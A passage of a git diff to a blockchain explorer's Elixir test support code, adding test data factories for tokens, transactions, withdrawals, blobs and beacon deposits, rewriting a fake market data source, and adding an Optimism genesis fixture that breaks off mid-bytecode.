watch_erc_20_output: random_bool(), + watch_erc_721_input: random_bool(), + watch_erc_721_output: random_bool(), + watch_erc_1155_input: random_bool(), + watch_erc_1155_output: random_bool(), + watch_erc_404_input: random_bool(), + watch_erc_404_output: random_bool(), + notify_email: random_bool() + } + end + + def multichain_search_db_export_token_info_queue_factory do + [data_type] = Enum.take_random([:metadata, :total_supply, :counters, :market_data], 1) + + data = + case data_type do + :metadata -> + %{ + token_type: "ERC-20", + name: sequence("TokenName"), + symbol: sequence("TS"), + decimals: 18, + total_supply: "1000" + } + + :total_supply -> + %{total_supply: "1000"} + + :counters -> + %{transfers_count: "456", holders_count: "123"} + + :market_data -> + %{fiat_value: "123.456", circulating_market_cap: "1000.0001"} + end + + %MultichainSearchDb.TokenInfoExportQueue{ + address_hash: address_hash().bytes, + data_type: data_type, + data: data + } + end + def address_factory do %Address{ hash: address_hash() } + |> Map.merge(address_factory_chain_type_fields()) + end + + case @chain_type do + :zksync -> + defp address_factory_chain_type_fields() do + %{ + contract_code_refetched: true + } + end + + _ -> + defp address_factory_chain_type_fields(), do: %{} end def address_name_factory do @@ -50,6 +313,13 @@ defmodule Explorer.Factory do } end + def unique_address_name_factory do + %Address.Name{ + address: build(:address), + name: sequence("FooContract") + } + end + def unfetched_balance_factory do %CoinBalance{ address_hash: address_hash(), @@ -138,7 +408,7 @@ defmodule Explorer.Factory do } end - def contract_code_info_modern_compilator do + def contract_code_info_modern_compiler do %{ bytecode: "0x608060405234801561001057600080fd5b50610150806100206000396000f3fe608060405234801561001057600080fd5b50600436106100365760003560e01c806360fe47b11461003b5780636d4ce63c14610057575b600080fd5b610055600480360381019061005091906100c3565b610075565b005b61005f61007f565b60405161006c91906100ff565b60405180910390f35b8060008190555050565b60008054905090565b600080fd5b6000819050919050565b6100a08161008d565b81146100ab57600080fd5b50565b6000813590506100bd81610097565b92915050565b6000602082840312156100d9576100d8610088565b5b60006100e7848285016100ae565b91505092915050565b6100f98161008d565b82525050565b600060208201905061011460008301846100f0565b9291505056fea2646970667358221220d5d429d16f620053da9907372b66303e007b04bfd112159cff82cb67ff40da4264736f6c634300080a0033", @@ -257,12 +527,54 @@ defmodule Explorer.Factory do ], version: "v0.8.4+commit.c7e474f2", optimized: true, - optimization_runs: 1, + optimization_runs: @optimization_runs, constructor_args: "00000000000000000000000000000000000000000000000000000000000000c0000000000000000000000000000000000000000000000000000000000000018000000000000000000000000000000000000000000000000000000000000001e000000000000000000000000000000000000000000000000000000000000002a00000000000000000000000000000000000000000000000000000000000000320000000000000000000000000000000000000000000000000000000000000042000000000000000000000000000000000000000000000000000000000000000050000000000000000000000000000000000000000000000000000000000000001000000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000030000000000000000000000000000000000000000000000000000000000000004000000000000000000000000000000000000000000000000000000000756b5b30000000000000000000000000000000000000000000000000000000000000002000000000000000000000000bb36c792b9b45aaf8b848a1392b0d6559202729e000000000000000000000000bb36c792b9b45aaf8b848a1392b0d6559202729e000000000000000000000000000000000000000000000000000000000000000500000000000000000000000000000000000000000000000000000000000000010000000000000000000000000000000000000000000000000000000000000004fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffb0000000000000000000000000000000000000000000000000000000000000006ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffd8f0000000000000000000000000000000000000000000000000000000000000000300000000000000000000000000000000000000000000000000000000000000010000000000000000000000000000000000000000000000000000000000000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000030000000000000000000000000000000000000000000000000000000000000060000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000a000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000101000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000003000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000000a000000000000000000000000000000000000000000000000000000000000000e0000000000000000000000000000000000000000000000000000000000000000371776500000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000003657771000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000097177657177657177650000000000000000000000000000000000000000000000" } end + def contract_code_info_vyper do + %{ + bytecode: + "0x5f3560e01c60026001821660011b61005b01601e395f51565b63158ef93e81186100535734610057575f5460405260206040f3610053565b633fa4f245811861005357346100575760015460405260206040f35b5f5ffd5b5f80fd00180037", + tx_input: + "0x3461001c57607b6001555f5f5561005f61002060003961005f6000f35b5f80fd5f3560e01c60026001821660011b61005b01601e395f51565b63158ef93e81186100535734610057575f5460405260206040f3610053565b633fa4f245811861005357346100575760015460405260206040f35b5f5ffd5b5f80fd0018003784185f810400a16576797065728300030a0013", + name: "SimpleContract", + source_code: """ + initialized: public(bool) + value: public(uint256) + + @external + def __init__(): + self.value = 123 + self.initialized = False + """, + abi: [ + %{ + "inputs" => [], + "outputs" => [], + "stateMutability" => "nonpayable", + "type" => "constructor" + }, + %{ + "inputs" => [], + "name" => "initialized", + "outputs" => [%{"name" => "", "type" => "bool"}], + "stateMutability" => "view", + "type" => "function" + }, + %{ + "inputs" => [], + "name" => "value", + "outputs" => [%{"name" => "", "type" => "uint256"}], + "stateMutability" => "view", + "type" => "function" + } + ], + version: "v0.3.10" + } + end + def address_hash do {:ok, address_hash} = "address_hash" @@ -292,6 +604,21 @@ defmodule Explorer.Factory do timestamp: DateTime.utc_now(), refetch_needed: false } + |> Map.merge(block_factory_chain_type_fields()) + end + + case @chain_type do + :arbitrum -> + defp block_factory_chain_type_fields() do + %{ + send_count: Enum.random(1..100_000), + send_root: block_hash(), + l1_block_number: Enum.random(1..100_000) + } + end + + _ -> + defp block_factory_chain_type_fields(), do: %{} end def contract_method_factory() do @@ -359,15 +686,17 @@ defmodule Explorer.Factory do %Transaction{index: nil} = transaction, # The `transaction.block` must be consensus. Non-consensus blocks can only be associated with the # `transaction_forks`. - %Block{consensus: true, hash: block_hash, number: block_number}, + %Block{consensus: true, hash: block_hash, number: block_number, timestamp: timestamp}, collated_params ) when is_list(collated_params) do - next_transaction_index = block_hash_to_next_transaction_index(block_hash) + next_transaction_index = collated_params[:index] || block_hash_to_next_transaction_index(block_hash) cumulative_gas_used = collated_params[:cumulative_gas_used] || Enum.random(21_000..100_000) gas_used = collated_params[:gas_used] || Enum.random(21_000..100_000) status = Keyword.get(collated_params, :status, Enum.random([:ok, :error])) + block_timestamp = Keyword.get(collated_params, :block_timestamp, timestamp) + block_consensus = Keyword.get(collated_params, :block_consensus, true) error = (status == :error && collated_params[:error]) || nil @@ -381,7 +710,9 @@ defmodule Explorer.Factory do error: error, gas_used: gas_used, index: next_transaction_index, - status: status + status: status, + block_timestamp: block_timestamp, + block_consensus: block_consensus }) |> Repo.update!() |> Repo.preload(:block) @@ -427,11 +758,19 @@ defmodule Explorer.Factory do end def pending_block_operation_factory do - %PendingBlockOperation{ - # caller MUST supply block - # all operations will default to false - fetch_internal_transactions: false - } + %PendingBlockOperation{} + end + + def pending_transaction_operation_factory do + %PendingTransactionOperation{} + end + + def multichain_search_db_main_export_queue_factory do + %MultichainSearchDb.MainExportQueue{} + end + + def multichain_search_db_export_balances_queue_factory do + %MultichainSearchDb.BalancesExportQueue{} end def internal_transaction_factory() do @@ -505,8 +844,7 @@ defmodule Explorer.Factory do index: sequence("log_index", & &1), second_topic: nil, third_topic: nil, - transaction: build(:transaction), - type: sequence("0x") + transaction: build(:transaction) } end @@ -518,23 +856,32 @@ defmodule Explorer.Factory do decimals: 18, contract_address: build(:address), type: "ERC-20", - cataloged: true + cataloged: true, + icon_url: sequence("https://example.com/icon"), + fiat_value: 10.1, + is_verified_via_admin_panel: false } end + def unique_token_factory do + Map.replace(token_factory(), :name, sequence("Infinite Token")) + end + def token_transfer_log_factory do - token_contract_address = build(:address) to_address = build(:address) from_address = build(:address) - transaction = build(:transaction, to_address: token_contract_address, from_address: from_address) + contract_code = Map.fetch!(contract_code_info(), :bytecode) + token_address = insert(:contract_address, contract_code: contract_code) + + transaction = build(:transaction, to_address: token_address, from_address: from_address) log_params = %{ first_topic: TokenTransfer.constant(), second_topic: zero_padded_address_hash_string(from_address.hash), third_topic: zero_padded_address_hash_string(to_address.hash), - address_hash: token_contract_address.hash, - address: nil, + address_hash: token_address.hash, + address: token_address, data: "0x0000000000000000000000000000000000000000000000000de0b6b3a7640000", transaction: transaction } @@ -566,17 +913,44 @@ defmodule Explorer.Factory do contract_code = Map.fetch!(contract_code_info(), :bytecode) token_address = insert(:contract_address, contract_code: contract_code) - insert(:token, contract_address: token_address) + token = insert(:token, contract_address: token_address) + block = build(:block) %TokenTransfer{ - block: build(:block), + block: block, amount: Decimal.new(1), - block_number: block_number(), + block_number: block.number, from_address: from_address, to_address: to_address, token_contract_address: token_address, + token_type: token.type, transaction: log.transaction, - log_index: log.index + log_index: log.index, + block_consensus: true + } + end + + def token_transfer_with_predefined_params_factory(%{log: log, block: block}) do + to_address_hash = address_hash_from_zero_padded_hash_string(to_string(log.third_topic)) + from_address_hash = address_hash_from_zero_padded_hash_string(to_string(log.second_topic)) + + # `to_address` is the only thing that isn't created from the token_transfer_log_factory + to_address = build(:address, hash: to_address_hash) + from_address = build(:address, hash: from_address_hash) + + token = insert(:token, contract_address: log.address) + + %TokenTransfer{ + block: block, + amount: Decimal.new(1), + block_number: block.number, + from_address: from_address, + to_address: to_address, + token_contract_address: log.address, + token_type: token.type, + transaction: log.transaction, + log_index: log.index, + block_consensus: true } end @@ -630,8 +1004,22 @@ defmodule Explorer.Factory do s: sequence(:transaction_s, & &1), to_address: build(:address), v: Enum.random(27..30), - value: Enum.random(1..100_000) + value: Enum.random(1..100_000), + block_timestamp: DateTime.utc_now() } + |> Map.merge(transaction_factory_chain_type_fields()) + end + + case @chain_type do + :arbitrum -> + defp transaction_factory_chain_type_fields() do + %{ + gas_used_for_l1: Enum.random(1..100_000) + } + end + + _ -> + defp transaction_factory_chain_type_fields(), do: %{} end def transaction_to_verified_contract_factory do @@ -673,10 +1061,26 @@ defmodule Explorer.Factory do } end + def signed_authorization_factory do + %SignedAuthorization{ + transaction: build(:transaction), + index: 0, + chain_id: 0, + address: address_hash(), + nonce: 0, + r: 0, + s: 0, + v: 0, + authority: address_hash(), + status: nil + } + end + def smart_contract_factory do contract_code_info = contract_code_info() - bytecode_md5 = Helper.contract_code_md5(contract_code_info.bytecode) + {:ok, data} = Explorer.Chain.Data.cast(contract_code_info.bytecode) + bytecode_md5 = Helper.contract_code_md5(data.bytes) %SmartContract{ address_hash: insert(:address, contract_code: contract_code_info.bytecode, verified: true).hash, @@ -685,26 +1089,44 @@ defmodule Explorer.Factory do contract_source_code: contract_code_info.source_code, optimization: contract_code_info.optimized, abi: contract_code_info.abi, - contract_code_md5: bytecode_md5 + contract_code_md5: bytecode_md5, + verified_via_sourcify: Enum.random([true, false]), + language: Enum.random([:solidity, :vyper]), + verified_via_eth_bytecode_db: Enum.random([true, false]), + verified_via_verifier_alliance: Enum.random([true, false]) } end - def decompiled_smart_contract_factory do - contract_code_info = contract_code_info() + def smart_contract_additional_source_factory do + %SmartContractAdditionalSource{} + end - %DecompiledSmartContract{ - address_hash: insert(:address, contract_code: contract_code_info.bytecode, decompiled: true).hash, - decompiler_version: "test_decompiler", - decompiled_source_code: contract_code_info.source_code - } + def unique_smart_contract_factory do + Map.replace(smart_contract_factory(), :name, sequence("SimpleStorage")) + end + + def proxy_implementation_factory do + %Implementation{} end def token_instance_factory do %Instance{ - token_contract_address_hash: build(:address), - token_id: 5, - metadata: %{key: "value"}, - error: nil + token_contract_address_hash: insert(:token).contract_address_hash, + token_id: sequence("token_id", & &1), + metadata: %{ + "key" => sequence("value"), + "image_url" => sequence("image_url"), + "animation_url" => sequence("image_url"), + "external_url" => sequence("external_url") + }, + error: nil, + owner_address_hash: insert(:address).hash + } + end + + def log_index_factory do + %{ + log_index: sequence("token_id", & &1) } end @@ -719,6 +1141,15 @@ defmodule Explorer.Factory do } end + def address_coin_balance_factory do + %CoinBalance{ + address: insert(:address), + block_number: insert(:block).number, + value: Enum.random(1..100_000_000), + value_fetched_at: DateTime.utc_now() + } + end + def address_current_token_balance_factory do %CurrentTokenBalance{ address: build(:address), @@ -729,6 +1160,78 @@ defmodule Explorer.Factory do } end + def address_current_token_balance_with_token_id_factory do + {token_type, token_id} = + Enum.random([ + {"ERC-20", nil}, + {"ERC-721", nil}, + {"ERC-1155", Enum.random(1..100_000)}, + {"ERC-404", nil}, + {"ERC-404", Enum.random(1..100_000)} + ]) + + %CurrentTokenBalance{ + address: build(:address), + token_contract_address_hash: insert(:token, type: token_type).contract_address_hash, + block_number: block_number(), + value: Enum.random(1_000_000_000_000_000_000..10_000_000_000_000_000_000), + value_fetched_at: DateTime.utc_now(), + token_id: token_id, + token_type: token_type + } + end + + def address_current_token_balance_with_token_id_and_fixed_token_type_factory(%{ + token_type: token_type, + address: address, + token_id: token_id, + token_contract_address_hash: token_contract_address_hash, + value: value + }) do + %CurrentTokenBalance{ + address: address, + token_contract_address_hash: token_contract_address_hash, + block_number: block_number(), + value: value, + value_fetched_at: DateTime.utc_now(), + token_id: token_id, + token_type: token_type + } + end + + def address_current_token_balance_with_token_id_and_fixed_token_type_factory(%{ + token_type: token_type, + address: address, + token_id: token_id, + token_contract_address_hash: token_contract_address_hash + }) do + %CurrentTokenBalance{ + address: address, + token_contract_address_hash: token_contract_address_hash, + block_number: block_number(), + value: Enum.random(1_000_000_000_000_000_000..10_000_000_000_000_000_000), + value_fetched_at: DateTime.utc_now(), + token_id: token_id, + token_type: token_type + } + end + + def address_current_token_balance_with_token_id_and_fixed_token_type_factory(%{ + token_type: token_type, + address: address, + token_id: token_id + }) do + %CurrentTokenBalance{ + address: address, + token_contract_address_hash: insert(:token, type: token_type).contract_address_hash, + block_number: block_number(), + value: Enum.random(1_000_000_000_000_000_000..10_000_000_000_000_000_000), + value_fetched_at: DateTime.utc_now(), + token_id: token_id, + token_type: token_type + } + end + defp block_hash_to_next_transaction_index(block_hash) do import Kernel, except: [+: 2] @@ -780,4 +1283,326 @@ defmodule Explorer.Factory do user: build(:user) } end + + def missing_block_range_factory do + %MissingBlockRange{ + from_number: 1, + to_number: 0 + } + end + + def missing_balance_of_token_factory do + %MissingBalanceOfToken{ + token_contract_address_hash: insert(:token).contract_address_hash, + block_number: block_number() + } + end + + def withdrawal_factory do + block = build(:block) + address = build(:address) + + %Withdrawal{ + index: withdrawal_index(), + validator_index: withdrawal_validator_index(), + amount: Enum.random(1..100_000), + block: block, + block_hash: block.hash, + address: address, + address_hash: address.hash + } + end + + def withdrawal_index do + sequence("withdrawal_index", & &1) + end + + def withdrawal_validator_index do + sequence("withdrawal_validator_index", & &1) + end + + def blob_factory do + kzg_commitment = data(:kzg_commitment) + + %Blob{ + hash: Blob.hash(kzg_commitment.bytes), + blob_data: data(:blob_data), + kzg_commitment: kzg_commitment, + kzg_proof: data(:kzg_proof) + } + end + + def blob_transaction_factory do + %BlobTransaction{ + hash: insert(:transaction) |> with_block() |> Map.get(:hash), + max_fee_per_blob_gas: Decimal.new(1_000_000_000), + blob_gas_price: Decimal.new(1_000_000_000), + blob_gas_used: Decimal.new(131_072), + blob_versioned_hashes: [] + } + end + + def op_interop_message_factory do + %InteropMessage{ + sender_address_hash: insert(:address).hash, + target_address_hash: insert(:address).hash, + nonce: sequence("op_interop_message_nonce", & &1), + init_chain_id: 1, + init_transaction_hash: insert(:transaction).hash, + block_number: insert(:block).number, + timestamp: DateTime.utc_now(), + relay_chain_id: 2, + relay_transaction_hash: transaction_hash(), + payload: "0x123123", + failed: random_bool() + } + end + + def op_output_root_factory do + %OutputRoot{ + l2_output_index: op_output_root_l2_output_index(), + l2_block_number: insert(:block) |> Map.get(:number), + l1_transaction_hash: transaction_hash(), + l1_timestamp: DateTime.utc_now(), + l1_block_number: op_output_root_l1_block_number(), + output_root: op_output_root_hash() + } + end + + def db_migration_status_factory do + %MigrationStatus{ + migration_name: nil, + status: "started", + meta: nil + } + end + + defp op_output_root_l2_output_index do + sequence("op_output_root_l2_output_index", & &1) + end + + defp op_output_root_l1_block_number do + sequence("op_output_root_l1_block_number", & &1) + end + + defp op_output_root_hash do + {:ok, hash} = + "op_output_root_hash" + |> sequence(& &1) + |> Hash.Full.cast() + + hash + end + + def random_bool, do: Enum.random([true, false]) + + def validator_stability_factory do + address = insert(:address) + + %ValidatorStability{ + address_hash: address.hash, + state: Enum.random(0..2), + blocks_validated: Enum.random(0..100) + } + end + + def zilliqa_staker_factory do + control_address = insert(:address) + reward_address = insert(:address) + signing_address = insert(:address) + + block = insert(:block) + + %ZilliqaStaker{ + bls_public_key: zilliqa_bls_public_key(), + index: sequence(:zilliqa_staker_index, & &1), + control_address_hash: control_address.hash, + reward_address_hash: reward_address.hash, + signing_address_hash: signing_address.hash, + added_at_block_number: block.number, + stake_updated_at_block_number: block.number, + balance: Decimal.new(1_000_000) + } + end + + def zilliqa_bls_public_key do + {:ok, bls_public_key} = + :zilliqa_bls_public_key + |> sequence(& &1) + |> BLSPublicKey.cast() + + to_string(bls_public_key) + end + + def withdrawal_log_factory(params) do + weth_log(TokenTransfer.weth_withdrawal_signature(), params) + end + + def deposit_log_factory(params) do + weth_log(TokenTransfer.weth_deposit_signature(), params) + end + + defp weth_log(first_topic, %{ + from_address: from_address, + token_contract_address: token_contract_address, + amount: amount, + transaction: transaction, + block: block + }) do + data = "0x" <> (Integer.to_string(amount, 16) |> String.downcase() |> String.pad_leading(64, "0")) + + %Log{ + address: token_contract_address, + address_hash: token_contract_address.hash, + block: block, + block_number: block.number, + data: data, + first_topic: first_topic, + second_topic: zero_padded_address_hash_string(from_address.hash), + third_topic: nil, + fourth_topic: nil, + index: sequence("log_index", & &1), + transaction: transaction + } + end + + def event_notification_factory do + %EventNotification{ + data: "test_data", + inserted_at: DateTime.utc_now() + } + end + + def scam_badge_to_address_factory do + %ScamBadgeToAddress{ + address_hash: insert(:address).hash + } + end + + @beacon_deposit_abi ABI.parse_specification( + [ + %{ + "anonymous" => false, + "inputs" => [ + %{ + "indexed" => false, + "internalType" => "bytes", + "name" => "pubkey", + "type" => "bytes" + }, + %{ + "indexed" => false, + "internalType" => "bytes", + "name" => "withdrawal_credentials", + "type" => "bytes" + }, + %{ + "indexed" => false, + "internalType" => "bytes", + "name" => "amount", + "type" => "bytes" + }, + %{ + "indexed" => false, + "internalType" => "bytes", + "name" => "signature", + "type" => "bytes" + }, + %{ + "indexed" => false, + "internalType" => "bytes", + "name" => "index", + "type" => "bytes" + } + ], + "name" => "DepositEvent", + "type" => "event" + } + ], + include_events?: true + ) + |> List.first() + + def beacon_deposit_log_factory(attrs) do + pubkey_raw = Map.get(attrs, :deposit_pubkey, sequence("beacon_deposit_pubkey", &<<&1::384>>)) + + withdrawal_credentials_raw = + Map.get( + attrs, + :deposit_withdrawal_credentials, + sequence("beacon_deposit_withdrawal_credentials", &<<&1::256>>) + ) + + amount = Map.get(attrs, :deposit_amount, sequence("beacon_deposit_amount", & &1)) + signature_raw = Map.get(attrs, :deposit_signature, sequence("beacon_deposit_signature", &<<&1::768>>)) + index = Map.get_lazy(attrs, :deposit_index, fn -> sequence("beacon_deposit_index", & &1) end) + + <<_::bytes-4, data_raw::binary>> = + ABI.TypeEncoder.encode( + [ + pubkey_raw, + withdrawal_credentials_raw, + <>, + signature_raw, + <> + ], + @beacon_deposit_abi + ) + + build( + :log, + Map.merge( + %{ + first_topic: "0x649BBC62D0E31342AFEA4E5CD82D4049E7E1EE912FC0889AA790803BE39038C5", + second_topic: nil, + third_topic: nil, + fourth_topic: nil, + data: %Data{bytes: data_raw} + }, + attrs + |> Map.drop([ + :deposit_pubkey, + :deposit_withdrawal_credentials, + :deposit_amount, + :deposit_signature, + :deposit_index + ]) + ) + ) + end + + def beacon_deposit_factory do + pubkey_raw = sequence("beacon_deposit_pubkey", &<<&1::384>>) + withdrawal_credentials_raw = sequence("beacon_deposit_withdrawal_credentials", &<<&1::256>>) + amount = sequence("beacon_deposit_amount", & &1) + signature_raw = sequence("beacon_deposit_signature", &<<&1::768>>) + index = sequence("beacon_deposit_index", & &1) + + log = + insert(:beacon_deposit_log, + deposit_pubkey: pubkey_raw, + deposit_withdrawal_credentials: withdrawal_credentials_raw, + deposit_amount: amount, + deposit_signature: signature_raw, + deposit_index: index + ) + + block = insert(:block) + transaction = insert(:transaction) |> with_block(block) + + %Deposit{ + pubkey: %Data{bytes: pubkey_raw}, + withdrawal_credentials: %Data{bytes: withdrawal_credentials_raw}, + amount: amount |> Decimal.new() |> Wei.from(:wei), + signature: %Data{bytes: signature_raw}, + index: index, + block_number: transaction.block.number, + block_timestamp: transaction.block.timestamp, + log_index: log.index, + status: :pending, + from_address: insert(:address), + block: transaction.block, + transaction: transaction + } + end end diff --git a/apps/explorer/test/support/fakes/no_op_source.ex b/apps/explorer/test/support/fakes/no_op_source.ex deleted file mode 100644 index 9fc3d0ec4ba2..000000000000 --- a/apps/explorer/test/support/fakes/no_op_source.ex +++ /dev/null @@ -1,19 +0,0 @@ -defmodule Explorer.ExchangeRates.Source.NoOpSource do - @moduledoc false - - alias Explorer.ExchangeRates.Source - - @behaviour Source - - @impl Source - def format_data(_), do: [] - - @impl Source - def source_url, do: "" - - @impl Source - def source_url(_), do: :ignore - - @impl Source - def headers, do: [] -end diff --git a/apps/explorer/test/support/fakes/one_coin_source.ex b/apps/explorer/test/support/fakes/one_coin_source.ex index 4efe5d486e6c..8152a12326fd 100644 --- a/apps/explorer/test/support/fakes/one_coin_source.ex +++ b/apps/explorer/test/support/fakes/one_coin_source.ex @@ -1,35 +1,80 @@ -defmodule Explorer.ExchangeRates.Source.OneCoinSource do +defmodule Explorer.Market.Source.OneCoinSource do @moduledoc false - alias Explorer.ExchangeRates.Source - alias Explorer.ExchangeRates.Token + alias Explorer.Market.{Source, Token} + alias Explorer.Chain.Hash @behaviour Source + @coin %Token{ + available_supply: Decimal.new(10_000_000), + total_supply: Decimal.new(10_000_000_000), + btc_value: Decimal.new(1), + last_updated: Timex.now(), + name: "", + market_cap: Decimal.new(10_000_000), + tvl: Decimal.new(100_500_000), + symbol: Explorer.coin(), + fiat_value: Decimal.new(1), + volume_24h: Decimal.new(1), + image_url: nil + } + + {:ok, address_hash} = Hash.Address.cast("0x0000000000000000000000000000000000000001") + + @token %{ + contract_address_hash: address_hash, + type: "ERC-20", + fiat_value: Decimal.new(1), + circulating_market_cap: Decimal.new(10_000_000), + icon_url: nil + } + + @impl Source + def native_coin_fetching_enabled?, do: true + + @impl Source + def fetch_native_coin, do: {:ok, @coin} + + @impl Source + def secondary_coin_fetching_enabled?, do: true + + @impl Source + def fetch_secondary_coin, do: {:ok, @coin} + @impl Source - def format_data(_) do - pseudo_token = %Token{ - available_supply: Decimal.new(10_000_000), - total_supply: Decimal.new(10_000_000_000), - btc_value: Decimal.new(1), - id: "", - last_updated: Timex.now(), - name: "", - market_cap_usd: Decimal.new(10_000_000), - symbol: Explorer.coin(), - usd_value: Decimal.new(1), - volume_24h_usd: Decimal.new(1) - } + def tokens_fetching_enabled?, do: true - [pseudo_token] - end + @impl Source + def fetch_tokens(_state, _batch_size), do: {:ok, nil, true, [@token]} + + @impl Source + def native_coin_price_history_fetching_enabled?, do: true + + @impl Source + def fetch_native_coin_price_history(_previous_days), + do: + {:ok, + [%{date: Date.utc_today(), closing_price: Decimal.new(2), opening_price: Decimal.new(1), secondary_coin: false}]} + + @impl Source + def secondary_coin_price_history_fetching_enabled?, do: true + + @impl Source + def fetch_secondary_coin_price_history(_previous_days), + do: + {:ok, + [%{date: Date.utc_today(), closing_price: Decimal.new(2), opening_price: Decimal.new(1), secondary_coin: true}]} + + @impl Source + def market_cap_history_fetching_enabled?, do: true @impl Source - def source_url, do: "" + def fetch_market_cap_history(_previous_days), do: {:ok, [%{date: Date.utc_today(), market_cap: Decimal.new(2)}]} @impl Source - def source_url(_), do: :ignore + def tvl_history_fetching_enabled?, do: true @impl Source - def headers, do: [] + def fetch_tvl_history(_previous_days), do: {:ok, [%{date: Date.utc_today(), tvl: Decimal.new(2)}]} end diff --git a/apps/explorer/test/support/fixture/chain_spec/optimism_genesis.json b/apps/explorer/test/support/fixture/chain_spec/optimism_genesis.json new file mode 100644 index 000000000000..43b203dda259 --- /dev/null +++ b/apps/explorer/test/support/fixture/chain_spec/optimism_genesis.json @@ -0,0 +1,39 @@ +{ + "commit": "373e1edbbaa2e2b5e7575eba1d3ac3c3431f5d15", + "config": { + "chainId": 10, + "homesteadBlock": 0, + "eip150Block": 0, + "eip155Block": 0, + "eip158Block": 0, + "byzantiumBlock": 0, + "constantinopleBlock": 0, + "petersburgBlock": 0, + "istanbulBlock": 0, + "muirGlacierBlock": 0, + "berlinBlock": 3950000, + "clique": { + "period": 0, + "epoch": 30000 + } + }, + "difficulty": "1", + "gasLimit": "15000000", + "extradata": "0x000000000000000000000000000000000000000000000000000000000000000000000398232E2064F896018496b4b44b3D62751F0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000", + "alloc": { + "74d6b50283ac1d651f9afdc33521e4c1e3332b78": { + "balance": "", + "nonce": "1", + "code": "0x608060405234801561001057600080fd5b506004361061011d5760003560e01c8063245a7bfc14610122578063313ce5671461014657806350d25bcd1461016457806354fd4d501461017e57806358303b10146101865780636001ac53146101a5578063668a0f021461020f5780637284e4161461021757806379ba5097146102945780638205bf6a1461029e5780638da5cb5b146102a65780638f6b4d91146102ae57806392eefe9b146102b65780639a6fc8f5146102dc578063a928c09614610302578063b5ab58dc14610328578063b633620c14610345578063bc43cbaf14610362578063c15973041461036a578063e8c4be301461038b578063f2fde38b14610393578063f8a2abd3146103b9578063feaf968c146103df575b600080fd5b61012a6103e7565b604080516001600160a01b039092168252519081900360200190f35b61014e6103fc565b6040805160ff9092168252519081900360200190f35b61016c610480565b60408051918252519081900360200190f35b61016c610588565b61018e6105db565b6040805161ffff9092168252519081900360200190f35b6101cb600480360360208110156101bb57600080fd5b50356001600160501b03166105e5565b60405180866001600160501b03168152602001858152602001848152602001838152602001826001600160501b031681526020019550505050505060405180910390f35b61016c61074e565b61021f610850565b6040805160208082528351818301528351919283929083019185019080838360005b83811015610259578181015183820152602001610241565b50505050905090810190601f1680156102865780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61029c610993565b005b61016c610a51565b61012a610b53565b6101cb610b62565b61029c600480360360208110156102cc57600080fd5b50356001600160a01b0316610cc9565b6101cb600480360360208110156102f257600080fd5b50356001600160501b0316610cf4565b61029c6004803603602081101561031857600080fd5b50356001600160a01b0316610dff565b61016c6004803603602081101561033e57600080fd5b5035610ed7565b61016c6004803603602081101561035b57600080fd5b5035610fe1565b61012a6110e4565b61012a6004803603602081101561038057600080fd5b503561ffff166110f3565b61012a611116565b61029c600480360360208110156103a957600080fd5b50356001600160a01b0316611125565b61029c600480360360208110156103cf57600080fd5b50356001600160a01b0316611181565b6101cb6111e3565b6004546201000090046001600160a01b031690565b6000600460000160029054906101000a90046001600160a01b03166001600160a01b031663313ce5676040518163ffffffff1660e01b815260040160206040518083038186803b15801561044f57600080fd5b505afa158015610463573d6000803e3d6000fd5b505050506040513d602081101561047957600080fd5b5051905090565b6005546000906001600160a01b031680158061053d575060408051630d629b5f60e31b815233600482018181526024830193845236604484018190526001600160a01b03861694636b14daf8946000939190606401848480828437600083820152604051601f909101601f1916909201965060209550909350505081840390508186803b15801561051057600080fd5b505afa158015610524573d6000803e3d6000fd5b505050506040513d602081101561053a57600080fd5b50515b61057a576040805162461bcd60e51b81526020600482015260096024820152684e6f2061636365737360b81b604482015290519081900360640190fd5b6105826112ed565b91505090565b6000600460000160029054906101000a90046001600160a01b03166001600160a01b03166354fd4d506040518163ffffffff1660e01b815260040160206040518083038186803b15801561044f57600080fd5b60045461ffff1690565b60055460009081908190819081906001600160a01b03168015806106aa575060408051630d629b5f60e31b815233600482018181526024830193845236604484018190526001600160a01b03861694636b14daf8946000939190606401848480828437600083820152604051601f909101601f1916909201965060209550909350505081840390508186803b15801561067d57600080fd5b505afa158015610691573d6000803e3d6000fd5b505050506040513d60208110156106a757600080fd5b50515b6106e7576040805162461bcd60e51b81526020600482015260096024820152684e6f2061636365737360b81b604482015290519081900360640190fd5b6002546001600160a01b0316610732576040805162461bcd60e51b815260206004820152601e6024820152600080516020611b2c833981519152604482015290519081900360640190fd5b61073b87611340565b939b929a50909850965090945092505050565b6005546000906001600160a01b031680158061080b575060408051630d629b5f60e31b815233600482018181526024830193845236604484018190526001600160a01b03861694636b14daf8946000939190606401848480828437600083820152604051601f909101601f1916909201965060209550909350505081840390508186803b1580156107de57600080fd5b505afa1580156107f2573d6000803e3d6000fd5b505050506040513d602081101561080857600080fd5b50515b610848576040805162461bcd60e51b81526020600482015260096024820152684e6f2061636365737360b81b604482015290519081900360640190fd5b61058261143d565b6060600460000160029054906101000a90046001600160a01b03166001600160a01b0316637284e4166040518163ffffffff1660e01b815260040160006040518083038186803b1580156108a357600080fd5b505afa1580156108b7573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f1916820160405260208110156108e057600080fd5b8101908080516040519392919084600160201b8211156108ff57600080fd5b90830190602082018581111561091457600080fd5b8251600160201b81118282018810171561092d57600080fd5b82525081516020918201929091019080838360005b8381101561095a578181015183820152602001610942565b50505050905090810190601f1680156109875780820380516001836020036101000a031916815260200191505b50604052505050905090565b61099b6114ec565b6001600160a01b0316336001600160a01b0316146109f9576040805162461bcd60e51b815260206004820152601660248201527526bab9ba10313290383937b837b9b2b21037bbb732b960511b604482015290519081900360640190fd5b6000610a036114fb565b9050610a0e3361150